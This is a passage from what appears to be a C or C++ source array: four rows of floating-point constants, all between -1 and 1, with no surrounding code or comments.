0.0785523490091065f, -0.562359397016753f, 0.874448473576734f, -0.794251927759664f, -0.658767152705445f, 0.120015806343044f, 0.662372174700575f, -0.719334975225296f, -0.663474261357014f, -0.637663874969148f, 0.706137632813821f, 0.734790814693796f, -0.449118755654663f, -0.758125670003823f, 0.719059339327447f, -0.228679956701166f, -0.0782671261690160f, 0.637830522744746f, -0.178696376536345f, -0.848273935253246f, 0.840882430630200f, 0.977813953976437f, 0.565474986185913f, -0.807314895274907f, -0.100534840844589f, -0.436186956483089f, 0.854663592026441f, -0.547576146320248f, -0.621784076386717f, 0.688687549426321f, -0.688962085987764f, -0.998914668418794f, 0.751493418398842f, -0.203018738091861f, -0.881317097659280f, -0.422480898609404f, -0.321074554557095f, -0.759379357125740f, -0.806503084491033f, -0.496837315822352f, 0.217087355208111f, -0.776801484423500f, -0.445747498145286f, 0.710204776554782f, 0.274276964033182f, 0.650397224484409f, -0.709395921248168f, 0.862663541330686f, -0.946166202558813f, 0.826638502366159f, -0.450587332736099f, -0.808257632193740f, -0.414360554482101f, -0.471118187583276f, 0.981592919290155f, 0.192794908371370f, -0.314979855997427f, 0.722518962804398f, -0.795914669179603f, 0.121447532644509f, 0.0446893237592363f, 0.651720955387594f, 0.897128141094619f, 0.283834144643742f, 0.369570391543943f, -0.163784005163726f, -0.799144231493300f, 0.338136741961422f, 0.795991730702685f, 0.601735561139351f, -0.556654767533027f, 0.907044495725416f, -0.374604065784494f, 0.814308532452677f, -0.254295412850351f, 0.443103437041340f, -0.0218296619602199f, 0.826728672505738f, 0.773205771668962f, 0.171909022893217f, 0.497670481959597f, 0.954178712898056f, 0.0840098577761919f, -0.705861127301893f, 0.145663865959608f, -0.436204975766037f, 0.479359595998989f, -0.719493824988072f, -0.523146212355768f, -0.917822711649927f, -0.610003715217602f, -0.192266667446473f, -0.377507163265653f, -0.250419291332051f, 0.873627391381727f, 0.922899703740095f, -0.902411671519496f, 0.285830821349708f, -0.577368595723736f, -0.598296174995687f, -0.0152478418690674f, 0.503725955636280f, 0.946501779740920f, 0.261108140547963f, 0.206258978593364f, -0.887022338332430f, 0.989187042741485f, 0.461764104690670f, 0.305280284664753f, 0.243972878436235f, -0.573704516784209f, 0.111805651228880f, -0.373590027525854f, 0.574564836347642f, -0.712884790778729f, -0.0570130063179222f, 0.244209425500712f, -0.717492787619277f, -0.476920207759357f, -0.444169983027413f, -0.254851417015366f, -0.505678630542571f, -0.953549022234155f, -0.0316841901798541f, 0.198256779602804f, 0.151938229162240f, -0.0259028503944394f, -0.799645893003010f, -0.889308912372168f, 0.339221517072804f, 0.904784479404768f, -0.367330903112591f, 0.866281762131661f, 0.112765232993802f, -0.0852946527317187f, -0.283538359072154f, -0.734951426632046f, 0.502970854898684f, -0.541434927857400f, 0.881496286285600f, -0.227404039639917f, -0.636983936776183f, -0.0799774217214970f, -0.833780310813424f, -0.222787370954425f, 0.433143783060434f, 0.0953330524947187f, 0.965400264971588f, 0.308927931247299f, 0.344316393259575f, 0.122880788538352f, -0.898509922382301f, -0.187062523329053f, 0.705352247460646f, -0.817811000761718f, 0.303714513401701f, 0.714863075518907f, -0.00862372607283035f, -0.842715848975590f, 0.816504077307885f, 0.924594085591125f, 0.334618732730041f, -0.212414743241377f, -0.758289625449925f, 0.586405661412351f, 0.909247363444287f, -0.800422609846793f, 0.397430897916299f, -0.408827454151232f, -0.411913213123543f, -0.602703152770135f, -0.893591462026327f, 0.417648762458765f, -0.766362696266534f, -0.166060103951854f, 0.883234167729589f, -0.0741908774062401f, 0.113912882075078f, -0.268248292164738f, -0.825585719915457f, 0.885446166477969f, -0.996523379251940f, -0.000841720632677401f, 0.940286529247477f, -0.528330498750176f, 0.0938880690147421f, -0.966296878893937f, 0.891956527154360f, -0.483384605653306f, 0.257210342748458f, -0.820220338820906f, 0.363913841603935f, 0.0364865250689275f, 0.0619156958713947f, -0.645447937080250f, 0.548279343062761f, -0.289526240449473f, -0.506780094171335f, -0.901771170107367f, -0.437874075223813f, 0.748512212111141f, -0.529884246718074f, 0.924062132675193f, -0.365432219122282f, -0.263296006595835f, -0.927083881647913f, -0.192737974697553f, -0.450051159199964f, -0.543528645806642f, 0.834976909049276f, -0.426975046433596f, -0.361056079272416f, 0.883880063360531f, 0.680380429911630f, -0.553642515320953f, 0.548847108935282f, -0.357430246936948f, 0.210445016993628f, 0.949511601115471f, -0.611278947360487f, 0.344744934459962f, 0.0684247970496175f, -0.877154656281116f, -0.521992702610556,
-0.0303764312006813f, -0.647220068176984f, 0.693175336224119f, -0.0955602614554496f, -0.765579758912278f, -0.821318118938906f, -0.220936603794347f, 0.159013709512021f, 0.0222743973539492f, 0.569438412513281f, 0.896083437551563f, 0.973699071868637f, -0.403438951991928f, -0.976931032127622f, -0.0720613180573018f, 0.0788813367661694f, -0.430781354548607f, 0.580378296309349f, -0.175446689199481f, -0.256743557012462f, -0.696667845393283f, 0.870473046831235f, 0.146660713923108f, 0.277741407197705f, 0.502075064404417f, 0.396530064046844f, -0.000209092342246420f, -0.977003947244262f, 0.451457326960000f, 0.420509664462095f, -0.0826395067671402f, 0.461120688156973f, 0.786867285802415f, 0.429254905841222f, 0.894426863739026f, -0.670297281923597f, -0.833650409296060f, -0.908588009702110f, 0.516311115539149f, 0.975234001829324f, -0.532953533466378f, 0.775291582519158f, -0.0136022600428900f, 0.654817093112596f, 0.363512141498233f, 0.624779024037534f, 0.0237004661473674f, -0.172570506046968f, 0.401807838319043f, 0.997391258152958f, -0.553969395939123f, -0.415425175833161f, -0.758032843655304f, -0.482766088920005f, 0.637574309072414f, -0.729000055114342f, 0.699851428676091f, -0.827508053421131f, 0.900655803848482f, -0.431149800814228f, 0.0369409101983413f, -0.378608101457895f, 0.237564147838841f, 0.533020461112441f, -0.280269627508005f, -0.864065787343603f, -0.0381481642453043f, -0.566886547530062f, 0.539727700361167f, 0.166859339425035f, 0.850080295054718f, 0.384690146030125f, -0.384995288415294f, 0.303656036600558f, -0.580297619022502f, 0.0649069482840878f, -0.162922327392773f, -0.235019427063355f, -0.265468718118809f, -0.121827312187455f, 0.0416628805824146f, 0.343481543012411f, -0.251429566892972f, -0.868100204320718f, -0.802636407512128f, -0.549547579028752f, -0.570017983863503f, -0.853634311513627f, -0.564570567173235f, 0.955944215494794f, -0.0930750790375956f, -0.160319122401953f, -0.640886790354213f, 0.798634607857513f, 0.503051518023559f, 0.765247226736789f, 0.909476811674882f, 0.677590253114963f, -0.110641683440517f, -0.336445241915220f, -0.684064840782028f, 0.962285048920031f, 0.883303701653897f, 0.981819291389659f, -0.597290928759656f, 0.215792997443025f, -0.847656608719347f, 0.679887992445640f, 0.299901700372808f, -0.677306526467426f, -0.348340058872692f, 0.651490451411335f, -0.133387041637395f, 0.718311240322040f, 0.0869279817052975f, 0.155413706090559f, -0.869119988858735f, -0.566773040844476f, -0.0513826414151206f, -0.368087669232071f, -0.978175512831125f, -0.229213501073727f, 0.344608572405871f, -0.663307667219997f, 0.437238632879575f, 0.00205230197288353f, -0.0897076092856746f, 0.834529513214144f, 0.131872357342232f, 0.113081940417244f, -0.418620232731326f, -0.317993033651213f, -0.740303025960662f, 0.423423655701288f, -0.300833032468860f, -0.458960388256530f, 0.692670405117589f, -0.559944357561921f, 0.0168623577148430f, 0.568661331088367f, -0.385055363002398f, -0.356055436463140f, -0.794446573681063f, 0.908870080953069f, -0.295500656666577f, 0.800625150733729f, 0.206307902542489f, 0.729591183391974f, -0.0655746333947396f, -0.261707022686154f, -0.802380330579914f, 0.0812359238243023f, -0.00528231140765212f, -0.725740453383981f, 0.919076065030463f, -0.896497189839174f, 0.861919731820265f, -0.804273875755869f, 0.230339021648310f, 0.296779613186519f, -0.349872572510143f, -0.270230381483447f, 0.0368924200249658f, 0.581340248642417f, 0.943620537648739f, 0.715012058065301f, 0.528414993233909f, 0.695917111744314f, -0.634354198968852f, -0.483786223099716f, 0.565405035681248f, -0.530076864213017f, 0.363019522302994f, -0.825556544716473f, 0.891096876998683f, -0.990692760548295f, -0.450641405862313f, -0.597008073985341f, -0.464377765418678f, -0.942926913464693f, -0.871399725569805f, 0.232335933943403f, 0.858786794807406f, -0.528589179815518f, -0.324757177062634f, 0.595880088750788f, -0.976574570427974f, -0.423824220654658f, -0.832990206908489f, 0.198704682807118f, -0.168244652325292f, 0.843066822744011f, 0.0912498543932607f, 0.485570815146582f, -0.104653316420662f, -0.623461298489716f, -0.807713596811018f, 0.737782734425857f, 0.456364368166532f, -0.430703367862900f, -0.188953991637209f, -0.827984282695373f, 0.0246267653665548f, 0.891225605267640f, 0.910600867999638f, 0.345236086687552f, -0.600682365520065f, 0.833182106437698f, 0.213749250288017f, -0.0866339102562885f, -0.618385082289017f, 0.859527120927500f, 0.749978780964161f, -0.334770513867011f, 0.242140166670949f, -0.196268320459958f, 0.611789869603675f, 0.655057159657307f, -0.603759576722096f, 0.614654509385217f, 0.144145218488192f, 0.959930150756613f, 0.485009777784726f, -0.564230295010912f, -0.404716165405314f, 0.0442672151313601f, 0.929486639423805f, 0.409386317338224f, 0.527053707674182f, 0.899087569745327f, -0.933259779365388f, 0.265159475034860f, -0.858300862890810f, -0.870994388031662f, 0.354868177430506f, 0.00956840260511749f, 0.429740959889133f, 0.649668163567379f, -0.744532888765288f, -0.967499901569196f, 0.556703631745254f, 0.535130550118618f, -0.639502350153040f, -0.604586469532735f, 0.0799683564329623f, -0.156074786599444f, -0.348308700325411f, 0.217829052228100f, 0.545642400171123f, -0.303317700019152f, -0.473220675222451f, -0.239688108834945f, 0.0998500862725149f, -0.962734081833842f, 0.870743993144299f, 0.464578557934316f, 0.184511089576136f, 0.559729843314504f, 0.0702052363354577f, 0.632714874625648f, 0.212930743289312f, -0.454606863365109f, -0.592679055778218f, 0.287649993384466f, -0.457293694071368f, -0.423493046785686f, -0.0674763327876298f, 0.242131064298176f, 0.488581911885965f, -0.464567743213882f, -0.387515661812354f, -0.914585596974616f, -0.255803162310627f, 0.941267268311980f, 0.690278917089395f, 0.302397314111962f, -0.178461434689705f, -0.949279941481428f, 0.160440202901122f, -0.970582196769486f, -0.0119478205074164f, -0.206440255898676f, 0.221640403444713f, -0.819801447827624f, 0.263614394802488f, 0.616376195532700f, -0.596859494305351f, -0.118659509995453f, 0.458168997595326f, -0.0400474705134108f, 0.934465050133603f, -0.852936731989621f, 0.0191637795580570f, 0.298534793677081f, -0.857491630206749f, -0.0141198383157879f, -0.365027350962024f, 0.450964838023674f, 0.351383095290905f, -0.387039947149600f, -0.983994933095116f, 0.610531582220017f, -0.0446025524732094f, 0.216718014780746f, -0.676819246943449f, 0.0385619292249610f, 0.192482456707739f, -0.288809653393521f, 0.241774557042318f, -0.444638770943313f, 0.535319194413803f, 0.374773141606987f, 0.186364279454450f, 0.0701814972821988f, -0.452753172654203f, -0.350918291268194f, -0.332963791049667f, 0.179301863965318f, 0.954101654404080f, -0.687960044344130f, 0.611454049205213f, -0.696789567124132f, -0.551566492897529f, 0.656434797122885f, -0.601779335396959f, -0.265656331560395f, -0.528821434638507f, 0.153601151147409f, 0.514739334540489f, -0.0517769842323894f, -0.659246830986894f, -0.453055366696259f, -0.0515886000780059f, 0.958478845408115f, 0.0221452906045994f, -0.159960643390796f, 0.816263632871352f, 0.245244170325114f, -0.0919839688704780f, 0.947170598807362f, 0.846772793441790f, 0.247105133025056f, -0.801972939368103f, -0.224977420586025f, 0.130099925027197f, 0.497816036746753f, 0.308139730113712f, -0.0536876417759813f, -0.492022090866895f, 0.188938438822753f, -0.400894058284033f, 0.314370104391157f, 0.618580768947071f, 0.830051263404639f, -0.228700130023340f, 0.811855169643177f, 0.0924092179787017f, 0.273652523319809f, -0.0624274843235475f, -0.503696982048589f, 0.510545161203341f, 0.341823133345436f, -0.437486933663093f, 0.0134072800031224f, 0.613837993234983f, 0.740945655313894f, 0.135311460882606f, 0.464832228842466f, -0.973962843371452f, -0.519388256678232f, 0.631469277357519f, -0.936937468616713f, 0.208677911871604f, -0.0946010975796272f, 0.560587233611855f, 0.230925763372331f, -0.637408482848184f, -0.679175194353885f, -0.408696637706987f, -0.0837464598184048f, -0.911070817707239f, 0.985815432104941f, -0.208807972878988f, 0.741966810464688f, 0.162772839973564f, 0.717702638881939f, 0.490767958961575f, -0.835565390813677f, -0.878516167634055f, -0.956727838876563f, -0.00772081382858891f, 0.355227897612178f, 0.202889185809854f, -0.431078767653467f, 0.106936101717808f, 0.354494042302258f, -0.619623833602791f, 0.193065593078352f, -0.105803087758606f, 0.151828327005194f, -0.141094922099930f, 0.847569902283069f, -0.656683924792181f, -0.880754505470701f, -0.421714047610595f, 0.681762288858050f, 0.633712681698887f, 0.947060360650644f, -0.959122611588459f, -0.0690574969687099f, -0.805062392278087f, 0.226501754467861f, -0.414732397455275f, 0.242398867364043f, -0.831838824773804f, 0.00787391802290793f, -0.860692119913991f, -0.391321299589110f, -0.0548681430681355f, -0.992920640472037f, 0.0975642331777702f, 0.894630836703243f, 0.767919825689366f, -0.260878774442215f, 0.407457430171103f, 0.140688657702825f, 0.737494845272763f, -0.650969054257040f, 0.230613259000797f, -0.0986876345046772f, 0.0996951163848971f, -0.679173062298700f, -0.760174222364469f, -0.613840714529317f, -0.692138390397415f, -0.0919103790884603f, 0.0259548517830916f, 0.463763807478796f, -0.859327137970617f, 0.298600182982665f, -0.591236092977368f, -0.994984881037264f, -0.0533840054951049f, 0.544979189292485f, 0.652482875230260f, 0.897548627394727f, -0.340241293753474f, 0.508237349558163f, -0.611986702936889f, -0.399952468536369f, -0.758494484998191f, -0.148960755782999f, 0.895231513826071f, -0.870487943961511f, -0.172763884748068f, -0.652702954266129f, 0.784450103085903f, -0.428504279168614f, -0.347266234450861f, -0.0897193897382391f, 0.760686883857503f, -0.0863659842493281f, -0.453544362916610f, 0.713112885874267f, -0.529914378597266f, -0.134507787695203f, -0.590955798880753f, -0.372583442870916f, 0.646730663631020f, -0.809515553972267f, 0.0226873348847205f, -0.209338539804651f, -0.737170063193136f, 0.365916689978321f, 0.658019395382111f, 0.733982378695990f, -0.579926149814113f, 0.973814182111372f, 0.933875763922095f, -0.985234946636757f, -0.103124599698243f, -0.798304574918884f, -0.119705341414667f, 0.205941898284561f, 0.111088288053652f, 0.418598493379981f, 0.309112287901667f, 0.0865232803642195f, -0.281174085998345f, -0.158426951248790f, 0.156672456990889f, 0.608691108739118f, -0.124654784531448f, -0.372060827503666f, 0.555750853569654f, -0.481715370485256f, 0.411012047999522f, 0.265636511301544f, 0.164466400718006f, 0.427292785417094,
-0.407665783814271f, 0.0463239131527564f, 0.0109249300633605f, 0.0949704798708169f, 0.223291931618591f, 0.708651599857453f, 0.810927407452143f, -0.298811874805995f, 0.347215272448441f, 0.778225160999446f, -0.981258755328673f, -0.629231280170021f, -0.948786159268210f, -0.0530522786747270f, -0.665046033882002f, 0.776993795678436f, -0.604492154463805f, -0.906360689482177f, 0.543616910115371f, -0.501547360013149f, 0.571784796850774f, 0.868511495621889f, 0.783008382563488f, 0.571870376568081f, 0.0471150346240308f, 0.402433510592678f, 0.661353159662286f, 0.0253381317208246f, 0.720141243708461f, -0.478805385943742f, 0.989639021624774f, 0.538614599364854f, -0.282810721919526f, 0.888399971333007f, 0.118572990347886f, 0.564528382703688f, 0.988296121763412f, 0.509638594649021f, -0.797738059997026f, 0.0363326380089621f, 0.978315833815278f, -0.483368013204689f, 0.879051054425480f, 0.632539830439323f, 0.722677742708361f, 0.578919286433726f, -0.250721628167261f, 0.534435049744896f, -0.0404568429105234f, 0.00805525426120179f, 0.841210870775473f, -0.731771544679396f, 0.713758914490801f, 0.830250762535296f, 0.436563669872217f, 0.567024378980237f, 0.983941121609744f, -0.253548560865555f, 0.647105012325159f, 0.434994339049196f, 0.130837710207442f, -0.775136733344706f, 0.234917279141211f, -0.498429841761386f, -0.273571256415041f, 0.247467425899991f, -0.970396693506149f, 0.975835855884816f, -0.347896516486866f, -0.552856369180847f, -0.887336234316568f, -0.573271015958957f, 0.910862901097874f, -0.807236601077904f, -0.523971593712952f, -0.263589563369279f, 0.591056276091253f, -0.320168527954128f, 0.726795865615521f, -0.731502115921006f, -0.942225519371229f, 0.268573107637337f, 0.380348127119473f, -0.284539943611895f, 0.117478291379931f, -0.817442486350524f, 0.0734705767013011f, -0.626880755668906f, -0.873066996524459f, -0.528675805715351f, 0.490255491577847f, 0.398142666604162f, -0.911320079669940f, -0.870350237514323f, 0.854587452657144f, 0.736349579728106f, 0.948232845958681f, -0.00126774478569258f, 0.905641169934000f, -0.965500575551565f, 0.0831330388550517f, -0.892713267782484f, -0.277958019172831f, 0.312987842344813f, 0.484268977417485f, -0.365960524226328f, 0.177956605738091f, 0.913776767689874f, -0.897537691614058f, 0.473075982698961f, 0.913190042662185f, -0.00843862630950820f, 0.972679442298938f, -0.856058592202917f, 0.264007224067230f, -0.138444823656136f, -0.386195416368251f, -0.286657907928107f, -0.231200657384828f, 0.917365701941188f, -0.271317547281263f, -0.252691685075831f, 0.893742787021399f, 0.512463051119608f, 0.979155111008605f, -0.472272776864686f, 0.238767541974988f, -0.672234403865928f, -0.846783135777377f, 0.0877594573148737f, 0.493055606176910f, -0.289012308379085f, 0.416463895880697f, -0.0795051375851281f, -0.476692131327163f, -0.430471976159529f, -0.701875030095239f, 0.724684336417516f, 0.984802039066595f, 0.798285421773762f, 0.000509924988974175f, -0.0852199551444761f, -0.709724122158260f, -0.332735158942919f, -0.741119907407496f, 0.729608513555970f, 0.500578022862182f, 0.520862987462710f, 0.565678561009731f, -0.393741545311224f, -0.568866018100912f, 0.571654318026290f, -0.817900961532165f, -0.793268461448962f, 0.614914392385859f, 0.763415306986536f, 0.450074180772758f, -0.737435729799608f, 0.841185794339245f, 0.894276069286366f, -0.276262284222369f, -0.798623475612628f, -0.280994234105732f, 0.821175230597885f, -0.474251640366966f, -0.190039801864015f, 0.0663032720971493f, 0.884162053156770f, -0.162023139878049f, -0.963135153785511f, -0.582213329804047f, -0.328536493809765f, -0.938405687658462f, -0.0171569611327957f, -0.727260847907578f, 0.419920927745257f, -0.361592243835530f, 0.476989471873569f, -0.146161675185107f, 0.431817832405826f, -0.371528849369885f, -0.940567978751516f, 0.165203770962029f, 0.781321525273307f, 0.0585592625092357f, 0.573299596753579f, -0.378869924017182f, 0.523139576520889f, 0.385605607116478f, -0.235893429970747f, 0.285814921067909f, -0.121941292771133f, 0.621558611608942f, -0.0860979132283732f, -0.627097832687809f, -0.312083243705910f, -0.494490796681559f, -0.987187334387934f, -0.0804474888246625f, 0.496400656176795f, -0.851811189314651f, -0.791398271297849f, -0.868174317799275f, -0.226794668997878f, -0.335339474552766f, -0.276765924750817f, -0.395876032147377f, -0.740529136126816f, -0.167799472110453f, 0.593129248263724f, 0.336783120133436f, 0.248892158925787f, 0.950120283075237f, -0.795216613504226f, -0.574731116508357f, -0.822689608026685f, 0.973698546284335f, 0.125166556654624f, 0.588150318080073f, 0.128654744345192f, -0.219207714307262f, -0.271053050307713f, 0.124071241265810f, -0.618209718015327f, -0.766619799595349f, -0.478340220431165f, -0.446873929629545f, 0.978019432749647f, -0.627041040766022f, 0.169323691066764f, -0.714079827532216f, 0.386101296128268f, -0.360225804976135f, -0.236797717782837f, -0.311635747131794f, 0.0482888201705840f, -0.477302740867809f, -0.427349080854399f, 0.390352470816329f, 0.611790541936623f, -0.648292156214605f, -0.345871618789073f, 0.509300603302844f, -0.0142202703124219f, -0.570248077753979f, -0.0629178211029751f, -0.737806048037047f, 0.497750084049821f, -0.761650107803135f, -0.788756591098617f, -0.994497286039420f, -0.987344273533962f, 0.657151987467984f, -0.763708299084062f, -0.0729359162118841f, 0.0455275633022023f, -0.101919187896584f, 0.457804242981095f, 0.0117715388281796f, -0.274125197027132f, -0.949738804931191f, 0.762108173886486f, 0.405150754308562f, -0.733330375873553f, -0.712774896799572f, -0.791947616412901f, 0.444023894424500f, 0.00507562975249609f, -0.900698136223538f, -0.576055334977054f, -0.948895529956106f, -0.832665060374124f, -0.992753953473078f, -0.0674086978315183f, 0.569494111501383f, -0.962269067721443f, -0.489700810475570f, 0.972626508328545f, -0.777400448149780f, 0.115588644128954f, 0.0730469703310024f, 0.523584488072518f, 0.659055312807301f, 0.134198234373838f, -0.797833055125151f, -0.167842823235145f, -0.662347837139732f, -0.537544370279756f, -0.622353549740796f, -0.789789664448618f, 0.985300123665319f, 0.862449845163424f, 0.973193986256980f, 0.148883268671144f, 0.283619537155083f, 0.508503183151258f, -0.246167305966866f, -0.259543094514413f, -0.778029136807597f, 0.128978622849116f, -0.920978818238085f, -0.116324837544276f, -0.261472397833253f, 0.772449038068069f, -0.696754008784325f, 0.980778877985902f, -0.227636956328402f, -0.472493776528032f, -0.568519858000960f, -0.151689463117960f, -0.102997587484899f, 0.464752146042376f, -0.839114793935065f, -0.0325074343587592f, -0.180618880765978f, 0.0132253638432844f, -0.646173464496730f, 0.821983901071593f, 0.657453744559881f, 0.786315172070382f, -0.438718096604728f, 0.702691078885442f, 0.859957412428682f, -0.505281395658564f, -0.236722160990303f, -0.698465568366759f, -0.746418979540090f, -0.218205126412646f, -0.808715244840435f, -0.949813739800491f, 0.176975348790769f, 0.723960974918154f, -0.139253733704369f, -0.387224393658603f, -0.869945438924443f, -0.396979039594941f, 0.0256060022407458f, -0.566074790002811f, -0.161564565183606f, -0.736189868188370f, -0.205593811665825f, -0.628996407588712f, -0.0266462623004120f, -0.344127255771429f, -0.229003801178142f, -0.469786561635510f, 0.258249378153965f, 0.160442939158622f, 0.0528817242116550f, 0.261960766261548f, -0.571069557415276f, 0.411333771884545f, -0.145205354714326f, 0.249324532476397f, 0.163889600722793f, 0.649915677347011f, 0.147077371087195f, -0.227104208942068f, 0.867390199578604f, -0.0734153565896754f, 0.0491208061060167f, 0.0360590744216485f, 0.181620126101180f, 0.0567549454976457f, -0.856976992549465f, -0.242511192726339f, -0.624770508991394f, -0.793161214564285f, -0.251208532727981f, -0.833192309869275f, 0.368166434661069f, 0.939730260791580f, 0.305796202211942f, -0.598830491282818f, -0.0575368190467946f, 0.371329658849021f, -0.227872714677810f, 0.707539568196379f, 0.795186297468385f, 0.475847791658551f, 0.829361555893632f, 0.405386540930889f, 0.213282954068900f, 0.767339023510319f, 0.525055513018554f, 0.259437496637378f, -0.524342591286100f, -0.731515526086696f, -0.233118783725590f, 0.237972339628935f, -0.933985285078109f, 0.537013420173496f, 0.498819465200784f, -0.407713459607516f, 0.382821417923595f, -0.416894700661466f, 0.0787266904103943f, -0.0627973593192392f, -0.320105342653426f, -0.844066834407447f, 0.138221622417319f, -0.676665423871596f, -0.961043785105959f, 0.832268610130385f, -0.905530890441773f, -0.114191325652611f, -0.376697124207843f, 0.390323137798417f, 0.953143142925101f, 0.983427991280007f, -0.0895687386326503f, -0.681543125061097f, 0.677131540142176f, -0.867715848764628f, -0.812718786220309f, -0.212509939486840f, -0.990002327123638f, -0.0682855560011961f, 0.129310729289606f, -0.623746296335073f, -0.285580241032587f, 0.235626081900812f, -0.611973228709249f, 0.539189737955466f, 0.970058678533189f, 0.901944358898624f, 0.168094826408153f, -0.666711281252260f, 0.965612752173968f, 0.651034558458719f, 0.687501917067508f, 0.758614314567106f, -0.839396045781239f, -0.552775028233564f, -0.528941743867256f, 0.174761156721889f, 0.243585712774679f, 0.588913151268911f, -0.306898192880627f, 0.921540023069231f, -0.0223654942298541f, -0.102408576957649f, 0.612577852207921f, 0.835809058447089f, -0.437118459197839f, 0.455316033239981f, 0.311435507416257f, -0.648992336007256f, 0.346823844785409f, -0.632080213667648f, -0.599678627679202f, -0.653822991854328f, 0.484305292443427f, 0.782046295685087f, 0.960987598814982f, 0.627169162605570f, 0.948092598306120f, -0.185268381817018f, 0.602489977060513f, -0.885827813790617f, -0.00179203147433582f, -0.175476447614991f, 0.0461282236560925f, -0.898013889602944f, 0.256310837914276f, -0.733422110056865f, -0.740091677658095f, 0.966724540497493f, 0.328056986822768f, -0.267854591449557f, 0.670545831663244f, -0.356204313297688f, 0.0729865206358908f, -0.594530723723669f, 0.519965324048968f, 0.0632129606097647f, -0.878434885663544f, -0.497945943395010f, 0.0151854050905818f, -0.218036856012343f, 0.547721213710874f, -0.0915514918588898f, -0.279344098401951f, -0.228654882218650f, 0.100432155997130f, 0.802024600677294f, 0.175832345686877f, 0.0551231013299744f, 0.938247319394824f, 0.639298571360036f, -0.291461603371678f, -0.853503115314794f, -0.604829242631156f, 0.0291571486740745f, -0.932575328418390f, -0.621235088415116f, 0.403040314052094f, -0.809695618266849f, 0.966605888732736f, -0.199254401023053,
-0.540808222970056f, -0.0141840769249790f, 0.114579158224093f, 0.466889318471371f, -0.145415211797766f, -0.846707387707480f, -0.881237200733915f, -0.410798723199712f, -0.637697860299854f, -0.196366036081372f, 0.193267531425712f, -0.258591200841940f, -0.173003722066551f, 0.478121376006132f, 0.953819951501542f, 0.969916001975448f, 0.131515861287576f, -0.499829658784781f, 0.320952777516193f, -0.226980682212371f, 0.766886115655233f, 0.647310434110803f, -0.772594685974992f, 0.772645949480187f, -0.936357605801364f, -0.671842916281206f, -0.595127074295355f, 0.335132581825520f, 0.648964430112689f, -0.793376819398441f, -0.963663232647360f, 0.914308824314478f, -0.397663128784982f, 0.803240040231588f, -0.291039120047626f, -0.339918835846510f, -0.208620988780609f, 0.278177231697424f, -0.833157746552451f, 0.260554706029473f, -0.580537744139231f, 0.918561093477862f, 0.641368468308093f, 0.827379039283645f, -0.412231303854834f, -0.518315486749742f, 0.423356687848085f, 0.0777277584993787f, 0.394127392657178f, 0.609705410002715f, 0.264669032561337f, -0.460555696512027f, -0.0858908123066196f, -0.281781559603429f, -0.179777723960362f, -0.00449990348855067f, 0.803703377739133f, -0.155074032314596f, -0.00206139428833696f, 0.0661730930565525f, -0.737509215752079f, 0.620182143819587f, 0.114750705414661f, 0.545663051433958f, 0.661601724477194f, -0.592280382351976f, 0.609240020031149f, -0.968781019917808f, -0.668068368389875f, 0.206915551463500f, 0.0951453192552747f, 0.268580107578401f, -0.0450052302342363f, -0.933589842483940f, 0.236570492858402f, 0.0688734168318912f, 0.930163232697303f, 0.435953476823146f, 0.533759385687075f, 0.368282038662015f, -0.602312961473778f, 0.709516631712345f, -0.168303926671961f, 0.130670870119294f, -0.657736111745007f, 0.115028598388756f, 0.173728026281032f, -0.681671363429886f, -0.538786035950873f, 0.481457671665448f, 0.0136795278434168f, -0.570065342244344f, 0.188187050857249f, -0.352869308173680f, -0.979175308628854f, 0.223702879460018f, 0.994220466087713f, -0.147795166105729f, 0.218427535879435f, -0.120050826084179f, -0.0124939247430063f, -0.645134875027126f, -0.503122688484778f, 0.534123007328982f, 0.619710972635444f, -0.234248243706177f, 0.987144458053815f, 0.261284702576427f, 0.851827092094236f, 0.750019654249059f, -0.926154630610335f, 0.449356103243440f, 0.783011320523296f, -0.459228158107270f, -0.228877816937867f, 0.271108937592868f, -0.676085611673506f, 0.783114428240160f, 0.636093784021493f, -0.754110314308629f, -0.546386104880684f, 0.0385811136139234f, -0.768951137117397f, -0.644624743947807f, 0.00890157035391148f, -0.0792572116273387f, -0.989980668770044f, 0.603057533157075f, 0.280835727469123f, -0.634716709420524f, -0.712669415138995f, -0.424129916157595f, -0.436923748487354f, 0.467366013559791f, 0.907740481011987f, 0.788617065944311f, -0.152237692069130f, -0.963044404518533f, 0.907393322909416f, 0.806867676446313f, 0.699270310021791f, 0.107867603776547f, 0.127360747415417f, -0.502645789696788f, -0.511744166872327f, -0.121672719343072f, -0.596527146770249f, 0.410180172377510f, -0.852889849908704f, 0.278972213674154f, 0.0260156356783650f, 0.997558501949683f, -0.499245840292893f, -0.451169267624132f, -0.881643497362337f, 0.986957209874262f, -0.129608292321380f, 0.935829016346258f, -0.649021465281634f, 0.550436689069794f, 0.278888743082679f, 0.0137769346664500f, -0.660666060213522f, -0.416709136728042f, -0.302903068397225f, 0.180657445835459f, -0.908195955986293f, 0.280056533234627f, -0.660025789034158f, -0.798207438952561f, 0.901575224780405f, -0.608702932295102f, 0.318860199910414f, 0.874005722023406f, -0.0816057579181704f, 0.981671341873017f, -0.339234700161323f, 0.559717959858931f, 0.390363525109105f, -0.309384476087470f, 0.956563156784297f, -0.623734354817613f, -0.196627375289105f, -0.702076014509088f, 0.293098766889643f, -0.617152224560368f, 0.859117491438645f, 0.661015739867647f, 0.0747554166353739f, -0.282417009682732f, -0.667461537762524f, -0.451029960388404f, -0.464518668674360f, 0.591389440503293f, 0.552648871601186f, -0.242406315814918f, 0.147876771864331f, -0.00605730052917419f, -0.850648363553678f, -0.659957159486993f, -0.165475362851332f, 0.204150315434812f, -0.665767311591476f, -0.716154682563576f, 0.417487456932076f, 0.448184990956287f, 0.733843802413198f, -0.170228277851921f, -0.346809954182150f, 0.956058632188011f, 0.0315623945930987f, 0.509027121691627f, -0.147826185909834f, 0.717423768198044f, -0.153258078639530f, -0.586190749016474f, 0.122228033051868f, -0.884999045468193f, -0.364729711773548f, 0.0869976154696972f, -0.793532199218799f, 0.533748273468951f, -0.852754376244435f, 0.294752047699830f, 0.136764278163013f, 0.838074791168389f, 0.795224598541123f, -0.778005568697498f, -0.260924769562304f, -0.303759147861313f, 0.273726011325558f, 0.530476779331216f, 0.0866801234357086f, 0.0677702376031544f, 0.724353404182035f, -0.974710312543683f, 0.791838170482991f, 0.247768259921660f, 0.979431048271259f, -0.386992541899814f, 0.0640038231299192f, -0.00457726816166693f, 0.371455553726539f, 0.647649995487707f, 0.268304945808406f, -0.320428608173924f, 0.0927511620029309f, 0.256010036486838f, 0.740396212690346f, -0.656873241472848f, 0.823534292439413f, -0.820380362458844f, -0.453300307443023f, 0.784238355222248f, 0.912791840124321f, 0.0999478035440859f, -0.212620916988855f, 0.0170290625008669f, -0.589062380565879f, 